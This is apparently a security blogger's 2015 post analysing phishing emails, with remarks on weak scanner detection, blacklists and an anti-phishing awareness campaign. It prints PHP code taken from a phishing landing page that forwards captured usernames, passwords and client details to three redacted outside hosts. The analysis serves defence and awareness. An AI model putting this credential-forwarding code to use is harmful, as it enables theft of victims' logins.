11 October 2015

The past week was full of exiting discoveries. I got some really well-crafted phishing emails. They used the same bizarre landing page design, but showed a somewhat different method in POST processing. Since one of the landing sites was open for everyone I had the chance to create a copy of the POST processing php procedure:

…
$data = "#$user#$pass#:#$ip#$browser#$hostname";
$sites=array("http://XXXXXX0.biz/usr.php","http://www.XXXXXXX1.com/usr.php","http://XXXXXXXX2.eu/usr.php");
function writeit($data,$site) { 
 global $textHos;
    $data = array('info' => $data);
    $options = array(
        'http' => array(
            'header'  => "Content-type: application/x-www-form-urlencoded\r\n",
            'method'  => 'POST',
            'content' => http_build_query($data),
        ),
    );
    $context  = stream_context_create($options);
    $result = file_get_contents($site, false, $context);    
}
foreach ($sites as $site) {
    writeit($data,$site);
}
…

Most of the phishing sites I analyzed in the past months send an email message with username and password to the bad guys. In this case username and password are forwarded to 3 sites for further processing.

I checked the phishing landing pages with VirusTotal.com but found in most cases that the sites were not rated malicious. Even after 5 days only 10 of 65 scanners classify the pages as malicious or phishing site.

What surprised me was that most of the pages were listed on Blacklist databases. Check the landing page in a phishing mail with e.g. IP INDETAIL. It’s very likely that the site is already listed on a Blacklist.

And it’s really remarkable that browsers do not check blacklists before they direct the user to a phishing site. Information for making the world a safer place is abundant, unfortunately no one seems to be interested in creating actionable knowledge from it.

But there were also bright spots. I learned of the STOP.THINK.CONNECT campaign of the The Anti-Phishing Working Group (APWG) and National Cyber Security Alliance (NCSA). The campaign’s slogan is Keeping the web a safer place for everyone. The campaign provides lots of information about Two Factor Authentication and tips for safe usage of the internet. Take a look at the funny video clips.

Take care, and have a good week.